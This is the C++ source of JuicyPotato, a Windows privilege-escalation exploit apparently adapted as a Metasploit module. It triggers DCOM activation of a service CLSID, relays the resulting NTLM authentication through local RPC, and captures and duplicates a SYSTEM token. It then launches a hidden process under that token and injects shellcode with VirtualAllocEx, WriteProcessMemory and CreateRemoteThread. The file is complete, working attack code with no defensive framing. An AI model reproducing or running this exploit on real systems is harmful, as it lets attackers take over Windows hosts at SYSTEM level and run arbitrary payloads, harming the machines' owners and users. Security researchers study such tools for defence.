#include "stdafx.h"
#include "MSFRottenPotato.h"
#include "IStorageTrigger.h"
#include <iostream>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#include <UserEnv.h>
#include <assert.h>
#include <tchar.h>
#include <windows.h>
#include <aclapi.h>
#include <accctrl.h>
#include <stdio.h>
#include <assert.h>
#include <tchar.h>
#include <WinSafer.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#pragma comment(lib, "userenv.lib")

wchar_t *olestr;
wchar_t *g_port;
wchar_t *rpcserver;
wchar_t *rpcport;
wchar_t *cmdproc;
char dcom_port[12];
char dcom_ip[17];

//{8BC3F05E-D86B-11D0-A075-00C04FB68820}
//{A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}

FILE* logFile = stdout;

static const char VERSION[] = "0.1";
BOOL TEST_mode = FALSE;
HANDLE elevated_token, duped_token;

int PotatoAPI::newConnection;
wchar_t *processtype = NULL;
wchar_t *processargs = NULL;
wchar_t *processname = NULL;

int IsTokenSystem(HANDLE tok)
{
	DWORD Size, UserSize, DomainSize;
	SID *sid;
	SID_NAME_USE SidType;
	TCHAR UserName[64], DomainName[64];
	TOKEN_USER *User;
	Size = 0;
	GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
	if (!Size)
	{
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] GetTokenInformation\n");
			fflush(logFile);
		}

		return FALSE;
	}

	User = (TOKEN_USER *)malloc(Size);
	assert(User);
	GetTokenInformation(tok, TokenUser, User, Size, &Size);
	assert(Size);
	Size = GetLengthSid(User->User.Sid);
	assert(Size);
	sid = (SID *)malloc(Size);
	assert(sid);

	CopySid(Size, sid, User->User.Sid);
	UserSize = (sizeof UserName / sizeof *UserName) - 1;
	DomainSize = (sizeof DomainName / sizeof *DomainName) - 1;
	LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
	free(sid);
	if (logFile != NULL)
	{
		fprintf(logFile, "%S: %S\\%S\n", olestr, DomainName, UserName);
		fflush(logFile);
	}

	if (!_wcsicmp(UserName, L"SYSTEM"))
	{
		return 1;
	}

	return 0;
}

void usage()
{
	printf("JuicyPotato v%s \n\n", VERSION);

	printf("Mandatory args: \n"
		"-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both\n"
		"-p <program>: program to launch\n"
		"-l <port>: COM server listen port\n"
	);

	printf("\n\n");
	printf("Optional args: \n"
		"-m <ip>: COM server listen address (default 127.0.0.1)\n"
		"-a <argument>: command line argument to pass to program (default NULL)\n"
		"-k <ip>: RPC server ip address (default 127.0.0.1)\n"
		"-n <port>: RPC server listen port (default 135)\n"
		"-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})\n"
		"-z only test CLSID and print token's user\n"
	);
}

PotatoAPI::PotatoAPI() {
	comSendQ = new BlockingQueue<char*>();
	rpcSendQ = new BlockingQueue<char*>();
	newConnection = 0;
	negotiator = new LocalNegotiator();
	return;
}

DWORD PotatoAPI::startRPCConnectionThread() {
	DWORD ThreadID;
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID);
	return ThreadID;
}

DWORD PotatoAPI::startCOMListenerThread() {
	DWORD ThreadID;
	HANDLE t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID);

	return ThreadID;
}

DWORD WINAPI PotatoAPI::staticStartRPCConnection(void* Param) {
	PotatoAPI* This = (PotatoAPI*)Param;
	return This->startRPCConnection();
}

DWORD WINAPI PotatoAPI::staticStartCOMListener(void* Param) {
	PotatoAPI* This = (PotatoAPI*)Param;
	return This->startCOMListener();
}

int PotatoAPI::findNTLMBytes(char *bytes, int len) {
	//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
	//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
	//we can just return the index
	char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
	int pIdx = 0;
	int i;
	for (i = 0; i < len; i++) {
		if (bytes[i] == pattern[pIdx]) {
			pIdx = pIdx + 1;
			if (pIdx == 7) return (i - 6);
		}
		else {
			pIdx = 0;
		}
	}
	return -1;
}

int PotatoAPI::processNtlmBytes(char *bytes, int len) {
	int ntlmLoc = findNTLMBytes(bytes, len);
	if (ntlmLoc == -1) return -1;

	int messageType = bytes[ntlmLoc + 8];
	switch (messageType) {
		case 1:
			//NTLM type 1 message
			negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc);
			break;
		case 2:
			//NTLM type 2 message
			negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc);
			break;
		case 3:
			//NTLM type 3 message
			negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
			break;
		default:
			if (logFile != NULL)
			{
				fprintf(logFile, "[-] Unknown NTLM message type...\n");
				fflush(logFile);
			}
			return -1;
			break;
	}
	return 0;
}

int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) {
	fd_set readSet;
	FD_ZERO(&readSet);
	FD_SET(*ListenSocket, &readSet);
	timeval timeout;
	timeout.tv_sec = 1;  // Zero timeout (poll)
	timeout.tv_usec = 0;
	if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) {
		*ClientSocket = accept(*ListenSocket, NULL, NULL);
		return 1;
	}
	return 0;
}

int PotatoAPI::triggerDCOM(void)
{
	CoInitialize(nullptr);

	//Create IStorage object
	IStorage *stg = NULL;
	ILockBytes *lb = NULL;
	HRESULT res;

	res = CreateILockBytesOnHGlobal(NULL, true, &lb);
	res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);

	//Initialze IStorageTrigger object
	IStorageTrigger* t = new IStorageTrigger(stg);

	CLSID clsid;
	CLSIDFromString(olestr, &clsid);
	CLSID tmp;
	//IUnknown IID
	CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);
	MULTI_QI qis[1];
	qis[0].pIID = &tmp;
	qis[0].pItf = NULL;
	qis[0].hr = 0;

	//Call CoGetInstanceFromIStorage
	HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);

	fflush(stdout);
	return 0;
}

int PotatoAPI::startRPCConnection(void) {
	const int DEFAULT_BUFLEN = 4096;

	fflush(stdout);
	WSADATA wsaData;

	struct addrinfo *result = NULL,
		*ptr = NULL,
		hints;

	char *sendbuf;
	char recvbuf[DEFAULT_BUFLEN];
	int iResult;
	int recvbuflen = DEFAULT_BUFLEN;

	// Initialize Winsock
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult);
			fflush(logFile);
		}
		return 1;
	}

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	// Resolve the server address and port
	char myhost[24];
	char myport[12];

	if (rpcserver != NULL) {
		memset(myhost, 0, 24);
		wcstombs(myhost, rpcserver, 24);
	}
	else {
		strcpy(myhost, "127.0.0.1");
	}

	if (rpcport != NULL) {
		memset(myport, 0, 12);
		wcstombs(myport, rpcport, 12);
	}
	else {
		strcpy(myport, "135");
	}

	iResult = getaddrinfo(myhost, myport, &hints, &result);
	if (iResult != 0) {
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult);
			fflush(logFile);
		}
		WSACleanup();
		return 1;
	}

	// Attempt to connect to an address
	for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
		// Create a SOCKET for connecting to server
		ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
		if (ConnectSocket == INVALID_SOCKET) {
			if (logFile != NULL)
			{
				fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError());
				fflush(logFile);
			}
			WSACleanup();
			return 1;
		}

		// Connect to server
		iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
		if (iResult == SOCKET_ERROR) {
			closesocket(ConnectSocket);
			ConnectSocket = INVALID_SOCKET;
			continue;
		}

		break;
	}

	if (ConnectSocket == INVALID_SOCKET) {
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] Unable to connect to server!\n");
			fflush(logFile);
		}

		WSACleanup();
		return 1;
	}

	// Send/Receive until the peer closes the connection
	fflush(stdout);
	do {
		//Monitor our sendQ until we have some data to send
		int *len = (int*)rpcSendQ->wait_pop();

		fflush(stdout);
		sendbuf = rpcSendQ->wait_pop();

		//Check if we should be opening a new socket before we send the data
		if (newConnection == 1) {
			ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
			int y = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
			newConnection = 0;
		}

		iResult = send(ConnectSocket, sendbuf, *len, 0);
		if (iResult == SOCKET_ERROR) {
			if (logFile != NULL)
			{
				fprintf(logFile, "[-] RPC -> send failed with error: %d\n", WSAGetLastError());
				fflush(logFile);
			}

			closesocket(ConnectSocket);
			WSACleanup();
			return 0;
		}

		iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
		if (iResult > 0) {
			comSendQ->push((char*)&iResult);
			comSendQ->push(recvbuf);
		}
		else if (iResult == 0) {
			if (logFile != NULL)
			{
				fprintf(logFile, "RPC-> Connection closed\n");
				fflush(logFile);
			}
		}
		else {
			if (logFile != NULL)
			{
				fprintf(logFile, "[-] RPC -> recv failed with error: %d\n", WSAGetLastError());
				fflush(logFile);
			}
			return 0;
		}

	} while (iResult > 0);

	if (logFile != NULL)
	{
		fprintf(logFile, "last iResult: %d\n", iResult);
		fflush(logFile);
	}

	// cleanup
	iResult = shutdown(ConnectSocket, SD_SEND);
	closesocket(ConnectSocket);
	WSACleanup();

	return 0;
}

int PotatoAPI::startCOMListener(void) {
	const int DEFAULT_BUFLEN = 4096;
	WSADATA wsaData;
	int iResult;
	struct addrinfo *result = NULL;
	struct addrinfo hints;
	int iSendResult;
	char *sendbuf;
	char recvbuf[DEFAULT_BUFLEN];
	int recvbuflen = DEFAULT_BUFLEN;

	// Initialize Winsock
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult);
			fflush(logFile);
		}
		return 1;
	}

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
	hints.ai_flags = AI_PASSIVE;

	memset(dcom_port, 0, 12);
	wcstombs(dcom_port, g_port, 12);

	// printf("[+] Listening on port:%s\n", dcom_port);
	// Resolve the server address and port
	iResult = getaddrinfo(NULL, dcom_port, &hints, &result);

	if (iResult != 0) {
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult);
			fflush(logFile);
		}
		WSACleanup();
		return 1;
	}

	// Create a SOCKET for connecting to server
	ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
	int optval = 1;
	setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));

	if (ListenSocket == INVALID_SOCKET) {
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError());
			fflush(logFile);
		}
		freeaddrinfo(result);
		WSACleanup();
		return 1;
	}

	// Setup the TCP listening socket
	iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
	if (logFile != NULL)
	{
		fprintf(logFile, "startCOMListener bindresult: %d\n", iResult);
		fflush(logFile);
	}

	if (iResult == SOCKET_ERROR) {
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] bind failed with error: %d\n", WSAGetLastError());
			fflush(logFile);
		}

		freeaddrinfo(result);
		closesocket(ListenSocket);
		WSACleanup();
		return 1;
	}

	freeaddrinfo(result);

	iResult = listen(ListenSocket, SOMAXCONN);
	if (iResult == SOCKET_ERROR) {
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] listen failed with error: %d\n", WSAGetLastError());
			fflush(logFile);
		}

		closesocket(ListenSocket);
		WSACleanup();
		return 1;
	}
	//---- non block socket server

	timeval timeout = { 1, 0 };
	fd_set fds;
	FD_ZERO(&fds);
	FD_SET(ListenSocket, &fds);

	select(ListenSocket + 1, &fds, NULL, NULL, &timeout);
	if (FD_ISSET(ListenSocket, &fds))
	{
		ClientSocket = accept(ListenSocket, NULL, NULL);
		if (ClientSocket == INVALID_SOCKET) {
			if (logFile != NULL)
			{
				fprintf(logFile, "[-] accept failed with error: %d\n", WSAGetLastError());
				fflush(logFile);
			}
			closesocket(ListenSocket);
			WSACleanup();
			return 1;
		}
	}

	int ntlmLoc;
	do {
		iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
		if (iResult > 0) {

			if (!TEST_mode)
				printf(".", iResult);

			//check to see if the received packet has NTLM auth information
			processNtlmBytes(recvbuf, iResult);

			//Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue"
			//put packet in winrpc_sendq
			rpcSendQ->push((char*)&iResult);
			rpcSendQ->push(recvbuf);

			//block and wait for a new item in our sendq
			int* len = (int*)comSendQ->wait_pop();
			sendbuf = comSendQ->wait_pop();

			//Check to see if this is a packet containing NTLM authentication information before sending
			processNtlmBytes(sendbuf, *len);

			//send the new packet sendbuf
			iSendResult = send(ClientSocket, sendbuf, *len, 0);

			if (iSendResult == SOCKET_ERROR) {
				if (logFile != NULL)
				{
					fprintf(logFile, "[-] COM -> send failed with error: %d\n", WSAGetLastError());
					fflush(logFile);
				}

				exit(-11);
			}

			//Sometimes Windows likes to open a new connection instead of using the current one
			//Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming
			newConnection = checkForNewConnection(&ListenSocket, &ClientSocket);
		}
		else if (iResult == 0) {
			//connection closing...
			shutdown(ClientSocket, SD_SEND);
			WSACleanup();
			exit(-1);
		}
		else {

			if (!TEST_mode)
			{
				if (logFile != NULL)
				{
					fprintf(logFile, "[-] COM -> recv failed with error: %d\n", WSAGetLastError());
					fflush(logFile);
				}
			}
			shutdown(ClientSocket, SD_SEND);
			WSACleanup();

			exit(-1);
		}

	} while (iResult > 0);

	// shutdown the connection since we're done
	iResult = shutdown(ClientSocket, SD_SEND);
	if (logFile != NULL)
	{
		fprintf(logFile, "\nstartCOMListener iResult ComLisetner: %d\n", iResult);
		fflush(logFile);
	}

	if (iResult == SOCKET_ERROR) {
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] shutdown failed with error: %d\n", WSAGetLastError());
			fflush(logFile);
		}

		closesocket(ClientSocket);
		WSACleanup();
		exit(-1);
	}

	// cleanup
	closesocket(ClientSocket);
	WSACleanup();
	return 0;
}

BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;

	if (!LookupPrivilegeValue(NULL, priv, &luid))
	{
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] Priv Lookup FALSE\n");
			fflush(logFile);
		}

		return FALSE;
	}

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		if (logFile != NULL)
		{
			fprintf(logFile, "[-] Priv Adjust FALSE\n");
			fflush(logFile);
		}

		return FALSE;
	}

	return TRUE;
}

int wmain(int argc, wchar_t** argv)
{
	BOOL brute = FALSE;

	strcpy(dcom_ip, "127.0.0.1");
	while ((argc > 1) && (argv[1][0] == '-'))
	{
		switch (argv[1][1])
		{
		case 't':
			++argv;
			--argc;
			processtype = argv[1];
			break;

		case 'p':
			++argv;
			--argc;
			processname = argv[1];
			break;

		case 'l':
			++argv;
			--argc;
			g_port = argv[1];
			break;

		case 'c':
			++argv;
			--argc;
			olestr = argv[1];
			break;

		case 'a':
			++argv;
			--argc;
			processargs = argv[1];
			break;

		case 'm':
			++argv;
			--argc;
			memset(dcom_ip, 0, 17);
			wcstombs(dcom_ip, argv[1], wcslen(argv[1]));
			break;

		case 'h':
			usage();
			exit(100);
			break;

		case 'k':
			++argv;
			--argc;
			rpcserver = argv[1];
			break;

		case 'n':
			++argv;
			--argc;
			rpcport = argv[1];
			break;

		case 'z':
			TEST_mode = TRUE;
			break;

		default:
			printf("Wrong Argument: %s\n", argv[1]);
			usage();
			exit(-1);
		}

		++argv;
		--argc;
	}

	if (g_port == NULL)
	{
		usage();
		exit(-1);
	}

	if ((processtype == NULL || processname == NULL) && !TEST_mode)
	{
		usage();
		exit(-1);
	}

	// Fallback to default BITS CLSID
	if (olestr == NULL)
		olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}";

	exit(Juicy(NULL, FALSE, NULL, 0));
}

int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength)
{
	PotatoAPI* test = new PotatoAPI();
	test->startCOMListenerThread();

	if (clsid != NULL)
		olestr = clsid;

	if (!TEST_mode)
	{
		if (logFile != NULL)
		{
			fprintf(logFile, "Testing: %S - %S\n", olestr, g_port);
			fflush(logFile);
		}
	}

	test->startRPCConnectionThread();
	test->triggerDCOM();

	BOOL result = false;

	int ret = 0;
	while (true) {

		if (test->negotiator->authResult != -1)
		{
			HANDLE hToken;
			TOKEN_PRIVILEGES tkp;
			SECURITY_DESCRIPTOR sdSecurityDescriptor;
			if (!TEST_mode)
			{
				if (logFile != NULL)
				{
					fprintf(logFile, "\n[+] authResult: %d\n", test->negotiator->authResult);
					fflush(logFile);
				}
			}

			// Get a token for this process. 
			if (!OpenProcessToken(GetCurrentProcess(),
				TOKEN_ALL_ACCESS, &hToken))
			{
				if (logFile != NULL)
				{
					fprintf(logFile, "[-] OpenProcessToken\n");
					fflush(logFile);
				}

				return 0;
			}

			//enable privileges
			EnablePriv(hToken, SE_IMPERSONATE_NAME);
			EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);
			PTOKEN_TYPE ptg;
			DWORD dwl = 0;
			HANDLE hProcessToken;
			OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
				&hProcessToken);

			QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);
			IsTokenSystem(elevated_token);

			result = DuplicateTokenEx(elevated_token,
				TOKEN_ALL_ACCESS,
				NULL,
				SecurityImpersonation,
				TokenPrimary,
				&duped_token);

			PROCESS_INFORMATION pi;
			STARTUPINFO si;
			SECURITY_ATTRIBUTES sa;

			ZeroMemory(&si, sizeof(STARTUPINFO));
			ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
			memset(&pi, 0x00, sizeof(PROCESS_INFORMATION));
			si.cb = sizeof(STARTUPINFO);
			si.dwFlags = STARTF_USESHOWWINDOW;
			si.wShowWindow = SW_HIDE;
			si.lpDesktop = L"winsta0\\default";

			if (cmdproc == NULL)
			{
				cmdproc = L"cmd.exe";
			}

			result = CreateProcessWithTokenW(duped_token,
				0,
				cmdproc,
				NULL,
				0,
				NULL,
				NULL,
				&si,
				&pi);

			if (!result)
			{
				if (logFile != NULL)
				{
					fprintf(logFile, "\n[-] CreateProcessWithTokenW failed with error: %d\n", GetLastError());
					fflush(logFile);
				}

				result = CreateProcessAsUserW(
					duped_token,
					cmdproc,
					NULL,
					nullptr,
					nullptr,
					FALSE,
					0,
					nullptr,
					L"C:\\",
					&si,
					&pi);

				if (!result) {
					if (logFile != NULL)
					{
						fprintf(logFile, "\n[-] CreateProcessAsUser failed with error: %d\n", GetLastError());
						fflush(logFile);
					}
				}
				else
				{
					if (logFile != NULL)
					{
						fprintf(logFile, "\n[+] CreateProcessAsUser OK\n");
						fprintf(logFile, "Payload length: %d\n", lPayloadLength);
						fflush(logFile);
					}

					LPVOID vptr = (int *)VirtualAllocEx(pi.hProcess, NULL, lPayloadLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

					SIZE_T lpnumber = 0;
					BOOL b = WriteProcessMemory(pi.hProcess, vptr, lpPayload, lPayloadLength, &lpnumber);
					if (logFile != NULL)
					{
						fprintf(logFile, "WriteProcessResult: %d; lpnumber = %d\n", b, lpnumber);
						fflush(logFile);
					}

					HANDLE h = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0);

					if (h == NULL)
					{
						if (logFile != NULL)
						{
							fprintf(logFile, "[-] Failed to execute shellcode: %d\n", GetLastError());
							fflush(logFile);
						}
					}
					break;
				}
			}
			else
			{
				if (logFile != NULL)
				{
					fprintf(logFile, "\n[+] CreateProcessWithTokenW OK\n");
					fprintf(logFile, "Payload length: %d\n", lPayloadLength);
					fflush(logFile);
				}

				LPVOID vptr = (int *)VirtualAllocEx(pi.hProcess, NULL, lPayloadLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

				SIZE_T lpnumber = 0;
				BOOL b = WriteProcessMemory(pi.hProcess, vptr, lpPayload, lPayloadLength, &lpnumber);
				if (logFile != NULL)
				{
					fprintf(logFile, "WriteProcessResult: %d; lpnumber: %d\n", b, lpnumber);
					fflush(logFile);
				}

				HANDLE h = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0);

				if (h == NULL)
				{
					if (logFile != NULL)
					{
						fprintf(logFile, "[-] Failed to execute shellcode: %d\n", GetLastError());
						fflush(logFile);
					}
				}
			}

			break;
		}//end auth
	}
	return result;
}

void EntryPoint(LPVOID lpReserved)
{
	logFile = NULL;

	BOOL brute = FALSE;
	int len;
	long payloadLength;
	char *buff = (char *)lpReserved;

	len = strlen(buff) + 1;
	if (len > 1)
	{
		logFile = fopen(buff, "w");
	}
	buff += len;

	len = strlen(buff) + 1;
	cmdproc = (wchar_t *)malloc(sizeof(wchar_t) * len);
	mbstowcs(cmdproc, buff, len);
	buff += len;

	len = strlen(buff) + 1;
	olestr = (wchar_t *)malloc(sizeof(wchar_t) * len);
	mbstowcs(olestr, buff, len);
	buff += len;

	len = strlen(buff) + 1;
	g_port = (wchar_t *)malloc(sizeof(wchar_t) * len);
	mbstowcs(g_port, buff, len);
	buff += len;

	len = strlen(buff) + 1;
	rpcserver = (wchar_t *)malloc(sizeof(wchar_t) * len);
	mbstowcs(rpcserver, buff, len);
	buff += len;

	len = strlen(buff) + 1;
	rpcport = (wchar_t *)malloc(sizeof(wchar_t) * len);
	mbstowcs(rpcport, buff, len);
	buff += len;

	len = strlen(buff) + 1;
	strcpy(dcom_ip, buff);
	buff += len;

	len = strlen(buff) + 1;
	payloadLength = atol(buff);
	buff += len;

	Juicy(olestr, FALSE, (LPVOID*)buff, payloadLength);

	free(olestr);
	free(g_port);
	free(rpcserver);
	free(rpcport);

	if (logFile != NULL)
	{
		fclose(logFile);
	}
}
